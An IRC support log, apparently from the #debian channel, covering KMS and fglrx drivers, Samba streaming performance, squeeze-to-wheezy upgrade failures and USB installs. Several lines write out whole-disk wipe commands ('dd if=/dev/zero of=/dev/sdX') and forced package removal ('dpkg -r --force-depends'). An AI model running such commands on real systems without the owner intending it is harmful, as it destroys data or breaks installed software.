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| 00:00.48 | asciiker | I like PHP, but I have issues with java, I will only use it as a last resort |
| 00:00.52 | Robert_L | and my relationship with C is terrible as well ... it's the right tool for some jobs, I just dont like it |
| 00:01.03 | asciiker | I had to do a java OS in college and it sucked ass |
| 00:01.08 | Robert_L | lol |
| 00:01.11 | babilen | asciiker: Mind taking it to #debian-offtopic ? |
| 00:01.20 | Gaxnys | asciiker: What's the biggest project you've done in PHP? |
| 00:01.23 | asciiker | sorry babilen |
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| 00:01.51 | reavengrey | how do you write an OS in java?? |
| 00:02.03 | Gaxnys | reavengrey: You don't, that's the key. ;) |
| 00:02.14 | asciiker | Gaxnys: nothing from scratch, expect a PHP Mailer Script |
| 00:02.20 | reavengrey | asciiker: how did your program work? |
| 00:02.36 | reavengrey | that java OS thing |
| 00:02.45 | Gaxnys | asciiker: That's why you don't hate PHP yet. ;) |
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| 00:03.17 | asciiker | reavengrey: if you think of java a watered version of C++ then you'll realize a OS is possible, just not pretty |
| 00:03.34 | asciiker | it wasn't for me |
| 00:03.51 | reavengrey | How did it run on the hardware? |
| 00:04.03 | reavengrey | Did you have to write a bootable interpreter? I don't understand |
| 00:04.07 | asciiker | again: I don't do java script.. or any web development other than some PHP |
| 00:04.21 | babilen | reavengrey: If you want to continue this, please take it to #debian-offtopic |
| 00:04.29 | Robert_L | Gaxnys, PHP is fine, maybe you had a bad experience with v4, but v5 is good stuff |
| 00:04.39 | Robert_L | anyway, I'm riding my bike to work tomorrow so I gotta pack by bag |
| 00:04.51 | babilen | ... |
| 00:04.52 | reavengrey | babilen: There really is nothing else being asked or discussed atm, and it shouldn't take him long to answer |
| 00:05.05 | reavengrey | Unless he's just mistaking what he did for something else idk |
| 00:05.35 | babilen | reavengrey: An inactive channel is no excuse and is a good thing. Please take it to the offtopic channel unless it is a Debian related support question. Thank you. |
| 00:05.46 | reavengrey | kk my bad then |
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| 00:06.26 | koanhead | anyone know how to check if KMS is on? |
| 00:06.29 | asciiker | last off-topic: reavengrey .. you can see search for jnode in google for more info |
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| 00:06.50 | Gaxnys | is happy to have proper working VSync in Wheezy. Using fglrx. |
| 00:07.48 | babilen | koanhead: Well, I would say if it isn't disabled -- See http://wiki.debian.org/KernelModesetting and check settings in /etc/modprobe.d/ |
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| 00:08.42 | koanhead | is brought low by fglrx |
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| 00:09.50 | koanhead | I have deliberately turned KMS off with nomodeset, just want to be able to verify that it's on when I turn it on again (any way to do so w/o rebooting?) |
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| 00:10.52 | moof2_ | I guess that depends on how you implemented "turn it off" |
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| 00:11.07 | koanhead | there seems not to be any sysctl handle for KMS nor module to load |
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| 00:11.26 | moof2_ | do you mean not load the modules? remove power? |
| 00:11.34 | moof2_ | something else? |
| 00:11.44 | babilen | koanhead: perfect example of an incomplete question then ;) |
| 00:11.46 | koanhead | discovery is good... I wish programs would not hide things from us |
| 00:11.53 | babilen | koanhead: Turn it on, check ... |
| 00:12.20 | koanhead | Turn what on and check what? Turn on KMS? How? |
| 00:12.46 | koanhead | Once I've turned it on, how do I know it's on? |
| 00:12.51 | moof2_ | that would be my question too |
| 00:14.20 | moof2_ | one thing that might help is dmesg | tail when you do something (like connect something, turn something on/off, disconnect something, do something else said or documented to do soemthing to the connection, etc) |
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| 00:14.45 | koanhead | Actually, I don't want particularly to turn it on. I will for testing purposes if I can figure out how, but fglrx does not want KMS (from what I hear, I don't seem to find any authoritative word in the relevant dox) |
| 00:15.07 | moof2_ | so you're still not defining your terms |
| 00:15.31 | koanhead | What term would you like defined? |
| 00:15.46 | moof2_ | in your original statement, what does "turn it off" mean? |
| 00:16.25 | koanhead | "I have deliberately turned KMS off with nomodeset" - nomodeset is a boot-time kernel parameter |
| 00:16.30 | koanhead | sorry that was unclear |
| 00:16.41 | moof2_ | so that's a boot time switch |
| 00:16.45 | moof2_ | ues? |
| 00:16.52 | chomwitt | in the debian upgrage manual there is a section "Upgrading your kernel and related packages". So isnt kernel upgraded in the apt-get dist-upgrade command? |
| 00:16.53 | babilen | moof2_: AFAICT koanhead is booting with "nomodeset" which disables KMS. Not sure if there is some programmatic way (there surely is) to check if KMS is enabled/used at the moment if koanhead removes "nomodeset" and reboots ... |
| 00:17.49 | babilen | That is at least my interpretation ... koanhead should correct me if that is wrong. I also wish you guys good luck to find a way to check this programmatically (/me would be happy to simply *see* it work during boot, but meh) |
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| 00:17.52 | sideup66 | hey room |
| 00:18.02 | koanhead | dmesg shows the parameter line at boot time, so I have reason to think that it got passed to the kernel, but I want additional verification |
| 00:18.04 | babilen | *channel |
| 00:18.10 | sideup66 | I finally got debian 7 (after many console hours and cursing) up and running but I had another strange issue crop up |
| 00:18.12 | moof2_ | so, one question he also asked, was "how can I change it without rebooting", and unless there is specific code for doing so, you would just have to reboot... babilen, concur? |
| 00:18.29 | babilen | yeah |
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| 00:18.38 | sideup66 | for some reason I seem to be getting a general drop in read performance between the network drive and my win7 laptop |
| 00:19.07 | moof2_ | how big is the drop? |
| 00:19.16 | koanhead | the problem is, the parameter normally isn't there, there is no difference in performance between booting with nomodeset and without it, I would like to independently verify its operation before I eliminate it as the cause of fglrx not working |
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| 00:19.38 | sideup66 | using some movies I have on one of the shares I am testing with and notice the video playback tends to stutter, however, I doubt hardware is to blame as streaming over its upnp server (mediatomb) will work perfect |
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| 00:20.05 | sideup66 | and nothing in terms of hardware change and no other change in the system has been done other than the squeeze to wheezy conversion |
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| 00:20.23 | moof2_ | first, fglrx went thru this update thing, where the original fglrx-driver got renamed to fglrx-legacy-driver |
| 00:20.34 | sideup66 | any tweaks I can possibly throw at the smb.conf to bring things back? I already tried tcp_nodelay |
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| 00:20.58 | vadi | I have a version entry for a package that says: "100 /var/lib/dpkg/status" - how can I remove this? It doesn't seem this version is installable, and it is creating a conflict with other packages that depend on a specific version of this package. |
| 00:21.54 | moof2_ | , file libuuid.so.1 |
| 00:21.58 | judd | Search for libuuid.so.1 in wheezy/i386: libuuid1: lib/i386-linux-gnu/libuuid.so.1 |
| 00:22.40 | koanhead | moof2_: device is a radeon 7600D, so pretty sure fglrx-legacy is not the right one: http://packages.debian.org/sid/fglrx-legacy-driver |
| 00:23.10 | reavengrey | git status | grep '^#[[:space:]]modified:' | sed 's/#[[:space:]]modified:[[:space:]]*//' |
| 00:23.27 | reavengrey | wrong win |
| 00:23.42 | reavengrey | *tab |
| 00:23.44 | sideup66 | guessing noone uses samba here |
| 00:23.45 | sideup66 | oO |
| 00:24.32 | moof2_ | then you might want the newer driver, whose name replaces the older driver, its package name is also fglrx-driver |
| 00:24.46 | moof2_ | other than that, you want all the supporting packages |
| 00:25.36 | moof2_ | there's a mesa lib for it, and other libs |
| 00:25.38 | koanhead | moof2_: yes, fglrx-driver package is installed. Also, I have found an answer to my own question: dmesg shows when KMS gets turned on, I just forgot to grep my old kern.log to check it before. Sorry all. |
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| 00:26.40 | moof2_ | no problem... maybe you just needed a soundign board |
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| 00:26.54 | moof2_ | I didn't know the answer anyway :P |
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| 00:28.57 | sideup66 | has anyone else noticed any change in samba behavior on their lan |
| 00:28.59 | sideup66 | ? |
| 00:29.00 | themill | vadi: that's the version that is installed. Perhaps you can pastebin real information so we know what it is you are looking at |
| 00:29.04 | themill | dpkg: tell vadi about bat |
| 00:29.13 | koanhead | moof2_: I have libgl1-fglrx-glx installed and also libgl1-mesa-glx - but no GLX visuals available to games &c even though glxinfo lists 80 visuals available |
| 00:29.19 | vadi | No, installed is (none), I removed it |
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| 00:30.22 | sideup66 | dpkg: samba performance |
| 00:30.24 | dpkg | sideup66: I wish you would RTFM. |
| 00:30.30 | themill | vadi: not completely. Please pastebin sufficient information... |
| 00:30.39 | sideup66 | dpkg is being rather cruel... |
| 00:30.39 | dpkg | wish i knew, sideup66 |
| 00:31.01 | sideup66 | dpkg: samba |
| 00:31.04 | dpkg | Samba is a Unix implementation of Windows file/print sharing (the SMB/CIFS protocol). http://samba.org/samba/docs/man/Samba-HOWTO-Collection/ http://samba.org/samba/docs/ http://wiki.samba.org/ #samba on irc.freenode.net. See also <swat>, <dfs>. |
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| 00:31.32 | themill | sideup66: until you ask specific, concise and clear questions, you'll keep stumbling around in the dark like you have been for the last few days. |
| 00:31.36 | vadi | I've been screwing around with this for a while, apt-cache policy says installed: (none). I removed entries manually from /var/lib/dpkg/status and things are finally working again. Might not have been the right way to do it, but I was out of options |
| 00:32.24 | themill | vadi: it's very much the wrong way of doing it. Without being able to see any output I can only guess what the story was... but you probably needed to purge that package. |
| 00:32.32 | themill | dpkg: tell vadi about purge |
| 00:33.11 | vadi | I've tried to uninstall, fully uninstall with synaptic... nothing was working. This was the output before: http://pastebin.com/hRsiySw8 |
| 00:33.21 | koanhead | I think I need to figure out how to test the fglrx modesetting, so it's time for me to dive into those "docs". Thanks for the help y'all! |
| 00:33.28 | vadi | Now I can finally install stuff again though without them depending on, and breaking on, the ghost versions |
| 00:33.45 | themill | vadi: (a) this is not #ubuntu (b) use a real package manager to sort out problems (c) you didn't purge the package. |
| 00:34.00 | vadi | Synaptic is included in Debian... |
| 00:34.13 | vadi | Can't quite call it fake. Alright though, thanks for the tip, I'll try to purge next time |
| 00:34.25 | themill | vadi: and it doesn't provide sufficient information to solve any packaging problems. |
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| 00:34.43 | themill | vadi: also keep ubuntu user support in #ubuntu next time. Thanks. |
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| 00:35.07 | vadi | I'm asking an apt-specific question. Don't get your panties up in a bunch. There was no #apt. |
| 00:35.11 | sideup66 | hmm i wonder if my upnp service is in the way somehow |
| 00:35.18 | sideup66 | since im accessing files from the same folder... |
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| 00:35.30 | themill | vadi: there's no such thing as an apt-specific question. You got apt from ubuntu and your problem is with ubuntu packages. End of story. |
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| 00:35.45 | moof2_ | vadi, could be, ubuntu-s apt-get is different from debian's |
| 00:35.51 | vadi | Ahh. |
| 00:35.56 | themill | (it is) |
| 00:35.59 | vadi | Alright, thanks. |
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| 00:36.29 | macroevolve | Hi i have a 1TB hard drive, "ran the command dd if=/dev/zero of=dev/sda bs=512" and all i see is a small flashing cursor below it for the past 5 hours. Is this normal, and does anyone know how long something like this usually takes? |
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| 00:37.10 | chomwitt | in what cases 'apt-get dist-upgrade' wouldnt upgrade the kernel? |
| 00:37.22 | moof2_ | bs=512 is going to be slowwwwwwwwwwww |
| 00:37.40 | themill | chomwitt: if there's no dependency to cause it to do so (the kernel changes package name when the version or ABI changes) |
| 00:37.42 | moof2_ | when there isn't a kernel change |
| 00:38.08 | chomwitt | thanks themill moof2_ |
| 00:38.10 | moof2_ | when you're using dist-upgrade to update from (say) wheezy to newer wheezy |
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| 00:38.35 | chomwitt | moof2_: but what about from stable to a new stable? |
| 00:38.48 | themill | chomwitt: you mean from squeeze to wheezy? |
| 00:39.17 | chomwitt | themill: yep |
| 00:39.25 | moof2_ | that's the same as (say) squeeze to wheezy (aka squeeze -> squeeze +1) |
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| 00:39.52 | chomwitt | http://tinyurl.com/lgwbcoc |
| 00:40.03 | themill | chomwitt: if you don't have the kernel metapackage installed, then you won't get a new kernel dragged in automatically. You probably want to install linux-image-amd64 or linux-image-686-pae as appropriate |
| 00:40.17 | sideup66 | does anyone know about samba atll all in the room |
| 00:40.23 | themill | sideup66: ... |
| 00:40.24 | sideup66 | or why it would lose performance between distros? |
| 00:40.32 | moof2_ | and, ubgrades are not meant to do things like squeeze -> squeeze + N where N > 1 |
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| 00:40.36 | chomwitt | themill: a! thats shed more ligth.. i must have the metapackage |
| 00:40.46 | moof2_ | you have to do one at a time |
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| 00:42.07 | Coburn | [10:36:27] <macroevolve> Hi i have a 1TB hard drive, "ran the command dd if=/dev/zero of=dev/sda bs=512" and all i see is a small flashing cursor below it for the past 5 hours. Is this normal, and does anyone know how long something like this usually takes? |
| 00:42.37 | themill | Coburn: [10:37] <moof2_> bs=512 is going to be slowwwwwwwwwwww |
| 00:42.49 | Coburn | you could also, if you have a GUI, install gsmartcontrol and use that to secure erase the drive |
| 00:43.00 | sideup66 | the mill: here is the rundown, I have just finished upgrading my machine from debian 6 to debian 7. While I hit a few rocks along the way I finally have them all sorted and all aspects of the machine are running as necessary |
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| 00:43.20 | Coburn | sideup66: if you use software raid, you gotta remember to udpate the layout |
| 00:43.39 | koanhead | Coburn: a lot depends on the speed of the bus to which the drive is connected and that of the drive (unless the computer itself is so old that its own speed is also a factor) but yes, it takes a long time to do that. |
| 00:43.39 | Coburn | because I bricked a server doing an squeeze -> wheezy upgrade |
| 00:43.39 | themill | sideup66: don't ask me, ask the channel. Ask one specific question in one line. You are impossible to follow which makes you impossible to help. |
| 00:43.46 | sideup66 | themill: then I opened up my network shares from one of my windows 7 client machines which are connected wirelessly to ensure that my network shares are indeed intact and are working as needed, which they are |
| 00:44.13 | Coburn | koanhead: true. |
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| 00:44.34 | chomwitt | themill: from the previous link 'This package may be installed automatically by the dist-upgrade process. ' , isnt that vague? |
| 00:44.54 | moof2_ | bs=512 says: make a place in ram that's 512 bytes, and then read 512 into that place, write it out, read more, write that out... do some math to see what that's going to be like: how many 512 byte places on a 1 tb disk are there? |
| 00:45.16 | sideup66 | however, when I tested samba performance by streaming a movie file from debian 7 to my wireless laptop running windows 7 on windows media player, the video tends to be slow with stuttering, indicating some performance issue, if I am to stream the same file through the same player, this time, accessing it through my upnp server on the same debian 7 box, the movie plays perfectly fine without any stuttering issues |
| 00:45.43 | sideup66 | I know this is performance as previously on 6, the same way of playing a video would not have trouble at all |
| 00:46.20 | moof2_ | depending on how much free ram there is, you might be able to do bs=10mb (dunno if you can do it with that syntax), to mean make that place in ram be 10 mb instead of 512 bytes |
| 00:46.26 | Coburn | 10m |
| 00:46.30 | themill | chomwitt: yeah, a bit. Feel free to "reportbug release-notes" and suggest a better wording as a wishlist bug (since that section normally appears in every release's release notes, it would worth improving it) |
| 00:46.37 | sideup66 | I have enabled TCP_NODELAY in smb.conf to try to inprove the speed, but there is no difference |
| 00:46.55 | Coburn | I usually just use "dd if=/dev/zero of=/dev/sdX bs=1M" |
| 00:47.07 | Coburn | if need be, I then double the 1M depending on the size of the drive |
| 00:47.18 | Coburn | I've used 8M once |
| 00:47.39 | sideup66 | is that better? |
| 00:47.42 | koanhead | Coburn: why not use shred? |
| 00:47.52 | Coburn | didn't remember |
| 00:49.35 | moof2_ | this is some reading: see if you can find an article that shows the difference between doing this: dd count=100 bs=1024 if=(somethign) of=(somethign) and dd bs=10240 ... ... |
| 00:50.34 | sideup66 | sorry, my client is being dumb with scrolling, coburn: how do you update the layout? |
| 00:50.39 | chomwitt | themill: ok |
| 00:50.41 | themill | sideup66: you could try #samba. They will undoubtedly want to see you samba config |
| 00:51.13 | sideup66 | themill: been there done that, dead in there |
| 00:52.51 | sideup66 | im curious by what Coburn meant however, as I am running a raid 1 for the data shares (nonboot) by updating the layout, im rather new to raid1 and linux in general |
| 00:53.00 | themill | sideup66: my experience is that if you ask a good question then you get an answer. If you ask vague questions where people have to pick through the scrollback for the previous 4 hours to find what you're on about then you get ignored. Sound familiar? Also try asking at a different time of day. People come and go from irc. |
| 00:53.07 | Coburn | oh |
| 00:53.20 | Coburn | themill: please chilax, it sounds like you're heated |
| 00:53.32 | Coburn | chilax, btw = chill out and relax |
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| 00:53.54 | Coburn | sideup66: well, the thing was, the software RAID was also for BOOT partition |
| 00:53.58 | themill | Coburn: not really... just annoyed that sideup66 thinks debian is crap because he can't ask a question in a way that will ever get an answer. |
| 00:54.13 | Coburn | If you blame the OS for your trouble you are blind |
| 00:54.24 | Coburn | an OS is just what makes other apps work |
| 00:54.25 | sideup66 | themill: I never thought debian was crap |
| 00:54.38 | themill | (that's not what you said yesterday) |
| 00:54.50 | Coburn | Forget the past, you can't change it |
| 00:55.01 | sideup66 | I rather am fond of it overall, im learning the operating system through trial and error and my own experiences |
| 00:55.06 | Coburn | ^ |
| 00:55.08 | Coburn | Trial and error |
| 00:55.13 | Coburn | I am no way a linux pro |
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| 00:55.19 | themill | sideup66: anyway..., I'm just hoping I can help you ask better questions to get the answers you need. I generally run and hide from samba so I'm not able to help you myself. |
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| 00:55.48 | Coburn | I would say I have a good knowledge of linux... not a veteran, just a console user |
| 00:56.13 | Coburn | sideup66: continuing my story - so basically, the system was stuck at grub, because it couldn't find the boot partition |
| 00:56.27 | sideup66 | ok |
| 00:56.32 | Coburn | or it would find it but panic'd saying "Oh no! No root folder" |
| 00:56.37 | Coburn | device, that's the word |
| 00:56.42 | Coburn | damn cold fingers |
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| 00:57.18 | Coburn | also, I believe to update the layout, it's mdrescan or something |
| 00:57.41 | Coburn | Not 100% sure. just google "md raid update" |
| 00:58.01 | Coburn | I don't really play with RAID, becuase bad things happen |
| 00:58.03 | Coburn | :P |
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| 00:58.18 | Coburn | fudge up and it's game over |
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| 00:58.45 | sideup66 | ah |
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| 00:58.56 | sideup66 | coburn: I thought mdadm did that stuff for me automagically |
| 00:59.29 | Coburn | sideup66: Not sure. and yes, mdadm is the command I'm looking for |
| 00:59.33 | Coburn | thanks ^^ |
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| 01:00.21 | dizzylizzy | Is there an easier way than samba to allow my live-in to put files in a folder on my computer |
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| 01:00.44 | sideup66 | coburn: ok |
| 01:00.46 | Cultist | it doesn't get easier than samba |
| 01:00.49 | moof2_ | there's nfs and it's not really easier |
| 01:00.50 | nevyn | dizzylizzy: live-in? |
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| 01:01.00 | nevyn | dizzylizzy: ftp? |
| 01:01.11 | sideup66 | sftp over domain if its not locan LAN? |
| 01:01.38 | themill | dizzylizzy: depends what level of transparency/automation you want. You have nfs, samba, git-annex assistant, sftp as options |
| 01:01.57 | nevyn | what's the client? |
| 01:04.09 | dizzylizzy | the person in question is using windows 7, I am on Debian |
| 01:04.20 | dizzylizzy | this is solely for transfers over the local network |
| 01:04.42 | themill | samba is probably as easy as it gets |
| 01:04.56 | dizzylizzy | samba is proving incredibly difficult to get working |
| 01:05.05 | themill | sounds like samba |
| 01:05.52 | themill | dizzylizzy: you want a network-transparent drive on the win7 machine or is a manual copy back and forth acceptable? |
| 01:05.59 | qman__ | samba is really easy to do, but it's also really easy to get over complicated |
| 01:06.04 | qman__ | pastebin your config and we can help |
| 01:06.12 | qman__ | or describe the problem |
| 01:06.41 | dizzylizzy | All right. |
| 01:07.15 | qman__ | you really only need like, 4 lines in your share definition to make it work |
| 01:07.37 | reavengrey | do u have a moment to talk about the holy GPL |
| 01:07.42 | reavengrey | brethren... |
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| 01:09.31 | moof2_ | reavengrey, not at all with the context you have set. try #fsf |
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| 01:10.22 | moof2_ | argument/war waiting for your first word... |
| 01:10.38 | themill | reavengrey: licence questions aren't really what #d normally deals with. If it's technical questions then #fsf or #debian-mentors (on oftc) would be better. If it's philosophical, then #debian-offtopic might be interested for a while... |
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| 01:12.12 | sideup66 | dizzylizzy: join the club |
| 01:12.36 | sideup66 | dizzylizzy: my samba system is throwing a hissyfit for no good reason at video streaming yet mediatomb works fine |
| 01:13.01 | moof2_ | one specific thing... when I read the word "brethren", I wanted to throw you into a volcano and make SURE you didn't come out |
| 01:13.42 | moof2_ | nothing personal :) |
| 01:13.45 | reavengrey | lol |
| 01:15.15 | dizzylizzy | On top of this, I have not been able to connect using Debian to the VPN I've been paying for for a month |
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| 01:15.27 | dizzylizzy | my live-in can easily from windows though, and it's making me sad |
| 01:15.42 | dizzylizzy | i've been too busy to look too much further into this, but every time I try to set it up I simply fail |
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| 01:17.48 | sideup66 | dpkg: samba |
| 01:17.48 | dpkg | Samba is a Unix implementation of Windows file/print sharing (the SMB/CIFS protocol). http://samba.org/samba/docs/man/Samba-HOWTO-Collection/ http://samba.org/samba/docs/ http://wiki.samba.org/ #samba on irc.freenode.net. See also <swat>, <dfs>. |
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| 01:28.58 | themill | chomwitt: thanks for the bug report. |
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| 01:38.50 | dizzylizzy | I'm at a point where I don't want a username or password I just want to be able to mount a folder as a filesystem from a windows computer |
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| 01:40.38 | chomwitt | dist-upgrading i got E: Could not perform immediate configuration on 'libgd-gd2-perl' |
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| 01:40.52 | themill | dpkg: tell chomwitt about squeeze->wheezy failures |
| 01:41.04 | themill | chomwitt: that basically summarises what the release notes suggest anyway |
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| 01:41.24 | danielkaifeng | hello friends,is there anybody can help me? After I use"apt-get autoremove", on of my user account can not log gnome properly it says:"GNOME 3 Failed to Load |
| 01:41.24 | danielkaifeng | Unfortunately GNOME 3 failed to start properly and started in the fallback mode. |
| 01:41.25 | danielkaifeng | This most likely means your system (graphics hardware or driver) is not capable of delivering the full GNOME 3 experience." |
| 01:41.27 | themill | chomwitt: there's no real way of knowing which of those will work in advance... but one of them should |
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| 01:41.52 | danielkaifeng | but the other user accounts works properly |
| 01:42.50 | moof2_ | , file libFLAC.so.8 |
| 01:42.56 | judd | Search for libFLAC.so.8 in wheezy/i386: libflac8: usr/lib/i386-linux-gnu/libFLAC.so.8 |
| 01:43.52 | danielkaifeng | file libFLAC.so.8? is that to my question? |
| 01:44.02 | danielkaifeng | :-/ |
| 01:44.16 | themill | (given that amd64 is a more popular arch than i386 now, I guess I should change that default arch at some stage) |
| 01:44.25 | themill | danielkaifeng: no |
| 01:45.31 | moof2_ | danielkaifeng, no... I just needed to get one result so I could open query window |
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| 01:46.09 | danielkaifeng | :'(Help!Help!Is there anyone knows why GNOME 3 Failed to Load in one user but works properly in another |
| 01:47.33 | danielkaifeng | I guess what I have done wrong is having run "apt-get autoremove" |
| 01:47.36 | histo | danielkaifeng: configuration setting in ~/.somedirectory |
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| 01:49.08 | chomwitt | themill: i'm trying. letsee .. after putting back squeeze sources i got: |
| 01:49.14 | chomwitt | ,,, |
| 01:49.21 | chomwitt | <PROTECTED> |
| 01:49.23 | themill | chomwitt: can you pastebin the entire apt run |
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| 01:49.49 | Guest76968 | Hi all I need help installing debian to a usb |
| 01:50.09 | Guest76968 | I have tried everything I could think of to get the live version installed but nothing works |
| 01:50.16 | Guest76968 | The documentation isn't any help |
| 01:50.17 | themill | Guest76968: please answer the questions you were asked.... |
| 01:50.20 | chomwitt | themill: i didnt you the 'script' to log all the process from the start |
| 01:50.45 | Guest76968 | I am sorry I missed that secion of the chat' |
| 01:50.48 | Guest76968 | please repost it |
| 01:50.53 | themill | chomwitt: just use script now and then pastebin it |
| 01:51.17 | chomwitt | themill: ok. should i keek squezze source in ? |
| 01:51.23 | Guest76968 | Which questions |
| 01:51.32 | danielkaifeng | cat: /home/daniel/.somedirectory: No such file or directory |
| 01:51.41 | themill | Guest76968: are you trying to put the debian installer onto a usb stick so you can then reinstall from that usb stick? |
| 01:52.00 | Guest76968 | I am trying to install debian from a usb |
| 01:52.07 | Guest76968 | No installer just an iso |
| 01:52.12 | themill | Guest76968: precisely which image are you using? |
| 01:52.15 | Guest76968 | Is that what I should be doing? |
| 01:52.29 | Guest76968 | I have used the live the net and the 4gig dvd |
| 01:52.34 | themill | Guest76968: if you want to install debian, it's generally best to use the installer |
| 01:52.42 | Guest76968 | Okay how |
| 01:52.48 | themill | dpkg: tell Guest76968 about install debian |
| 01:52.54 | Guest76968 | I have looked at the documentation and it is confusing |
| 01:53.01 | Guest76968 | It looks like it is from the 90s |
| 01:53.02 | chomwitt | themill: keek -> keep |
| 01:53.04 | Guest76968 | but it is through |
| 01:53.15 | Guest76968 | *thorough |
| 01:53.30 | themill | Guest76968: how is this machine going to be connected to the network? (and no, the documentation is not broken down in to 140 character snippets) |
| 01:53.58 | themill | chomwitt: you have both squeeze and wheezy there right now? that should be fine |
| 01:54.09 | Guest76968 | I don't need it in 140 character snippers |
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| 01:54.18 | chomwitt | themill: yep |
| 01:54.22 | Guest76968 | *snippets i need it organized like a website from this decade |
| 01:54.29 | Guest76968 | Still better than ubuntu though |
| 01:54.49 | Guest76968 | I am unsure of how to configure the network in the debian install too |
| 01:55.03 | themill | Guest76968: it's technical documentation and it is organised into chapters and sections... but perhaps you should tell us how the machine would be connected to the network |
| 01:55.06 | Guest76968 | I have read the documentation for that but am unsure of what it menas |
| 01:55.20 | Guest76968 | wireless |
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| 01:55.35 | themill | dpkg: tell Guest76968 about firmware image |
| 01:55.51 | Guest76968 | which version should I use to install then? |
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| 01:56.04 | themill | Guest76968: if you need to use wireless for the installation rather than a wired network, then use the image that dpkg just told you about |
| 01:56.34 | Guest76968 | thank you now comes the other problem |
| 01:56.49 | Guest76968 | every piece of software for creating usbs in ubuntu is broken |
| 01:57.16 | Guest76968 | I have yet to create a usb successfully on ubuntu because of this and have only this ubuntu distro to use |
| 01:57.18 | Guest76968 | any ideas? |
| 01:57.34 | Guest76968 | http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/bt-cd/ this is the version I am downloading |
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| 01:58.42 | themill | Guest76968: the documentation dpkg pointed you to a few minutes ago explains exactly how to create a bootable usb image. |
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| 01:59.22 | Guest76968 | themill I have tried following that documentation on ubuntu multiple times and it doesn't work |
| 01:59.23 | themill | Guest76968: http://www.debian.org/releases/stable/amd64/ch04s03.html.en |
| 01:59.41 | themill | Guest76968: *precisely* what did you do and how did it not work? |
| 01:59.43 | Guest76968 | I have tried that method no less than 5 mintues ago |
| 01:59.52 | Guest76968 | and my terminal just sat there |
| 01:59.55 | Guest76968 | nothing happened |
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| 02:00.07 | themill | it's going to take a while to copy 4GB to a usb stick |
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| 02:00.58 | Guest76968 | I hadn't thought of that |
| 02:01.17 | Guest76968 | and now that torrent is giving me a tracker not found error |
| 02:01.19 | chomwitt | themill: http://tinyurl.com/kyz6w9a |
| 02:01.32 | dvs | likes how the instructions is now bolded |
| 02:02.03 | KeithStudley | Hi everyone. I am having some trouble trying to get into the Desktop for Debian. I can't remember the root password, and can't figure out how to reset it. Any help would be appreciated |
| 02:02.12 | Guest76968 | Hey now it is working |
| 02:02.22 | Guest76968 | But I still am unsure why I got that error |
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| 02:03.58 | themill | chomwitt: I assume you don't actually have held packages. Was that from "upgrade" or "dist-upgrade"? |
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| 02:05.55 | KeithStudley | This installation was one that was doiwnloaded from the debian.org website. |
| 02:06.08 | chomwitt | themill: dist-upgrade |
| 02:06.44 | chomwitt | themill: no , i dont remember having 'held' packages |
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| 02:07.31 | themill | chomwitt: did apt-get upgrade complete successfully? |
| 02:07.47 | chomwitt | themill: yep |
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| 02:08.17 | Tramp | dpkg, tell KeithStudley -about ifrp |
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| 02:09.56 | Guest76968 | eureka it worked |
| 02:09.58 | Guest76968 | thank you |
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| 02:11.00 | dizzylizzy | I've gone through the samba fast start guide, and am stuck at the first item. I'm trying something minimal and useless to me, just to try to get it working at all. I'm doing the anonymous read-only document server at http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/FastStart.html and have restarted samba, and the windows computer next to me can still not see the share. |
| 02:11.08 | dizzylizzy | I'll just go to #samba |
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| 02:13.55 | chomwitt | themill: tryed to remove one suspect but no luck .. : http://tinyurl.com/mk5eoay |
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| 02:15.27 | themill | chomwitt: at this stage, can you remove squeeze from your sources.list; apt-get update and then pastebin "apt-get dist-upgrade" for me? |
| 02:16.05 | chomwitt | themill: ok. one moment |
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| 02:16.12 | themill | (that might just take us back to libgd2-perl, but that looked less painful) |
| 02:17.09 | themill | fwiw, I think just about every kde box I have done squeeze->wheezy on has ended up in me removing most of kde and then reinstalling it in wheezy. It's not a huge drama to do that if you just want kde-standard plus a handful of other packages. |
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| 02:20.54 | chomwitt | themill: http://tinyurl.com/m7m4jf7 |
| 02:21.49 | chomwitt | themill: i started my squeeze as kde and then turn it to xfce . |
| 02:21.51 | themill | chomwitt: ok, so does "apt-get dist-upgrade -o APT::Immediate-Configure=0" work? |
| 02:24.07 | chomwitt | themill: http://tinyurl.com/m6qo7vc (no ..) |
| 02:24.38 | themill | yeah,. that one is a 50:50 punt |
| 02:25.03 | enigmuriatic1 | is there any single command or program to set all package versions to the same as ubuntu? i have a powerful debian server that i'm trying to run simulations on, but everything i try to run from github is written for ubuntu |
| 02:25.04 | themill | chomwitt: so, working through that list from dpkg, I don't suppose "apt-get install apt" works, does it? |
| 02:25.17 | chomwitt | themill: one moment |
| 02:25.46 | themill | enigmuriatic1: compiling from source shouldn't really have that problem, particularly if you are running wheezy |
| 02:26.09 | chomwitt | themill: http://tinyurl.com/6mvqch |
| 02:27.38 | enigmuriatic1 | themill, in at least one case i found (GHC) wheezy actually had an older package version than the older editioins |
| 02:27.47 | themill | chomwitt: yeah, apt is bound to python and that's then bound to a pile of other packages. That's usual. |
| 02:27.53 | enigmuriatic1 | which broke a script I tried to compile |
| 02:28.35 | themill | enigmuriatic1: packages versions never go down in debian |
| 02:29.08 | enigmuriatic1 | the mill, maybe it was just that the newer version was only listed in the older version |
| 02:29.13 | enigmuriatic1 | that was it, i think |
| 02:29.21 | themill | enigmuriatic1: specific package names might help |
| 02:29.29 | enigmuriatic1 | anyway, i'm 0/3 for getting things compiles |
| 02:29.32 | enigmuriatic1 | *compiled |
| 02:29.59 | enigmuriatic1 | bitcoin-abe, blockparser, and a Haskell script that I wrote (not anything worth looking at, lol) |
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| 02:30.42 | themill | chomwitt: hmm... immediate-configure normally gets past default-jre. Trouble is there are lots of different causes to this but all with the same error message at the end. |
| 02:30.42 | chomwitt | themill: but why 'squeeze' appears in package names' i removed it from sources.. |
| 02:31.07 | themill | chomwitt: "is to be installed" can also mean "is currently installed" in that output |
| 02:31.21 | chomwitt | themill: ah! .ok |
| 02:32.32 | themill | chomwitt: ok. Time to use a bigger hammer. "dpkg -r --force-depends default-jre; apt-get -f install" If that generates a similar error (I think it will with a gij or gcj package) then do that again. You might need to do it several times to get it to a point where "apt-get -f install" wants to sort itself out by upgrading stuff. |
| 02:33.15 | chomwitt | themill: ok. one moment |
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| 02:35.52 | chomwitt | themill: http://tinyurl.com/5moumb |
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| 02:39.01 | chomwitt | themill: i do it once. do i ignore dpkg warnings? |
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| 02:40.09 | Tech163 | i'm accessing debian 7.1 via VNC. for some odd reason, my up and down arrow seems to have been mapped to maximize and resize. has anyone seen this before? |
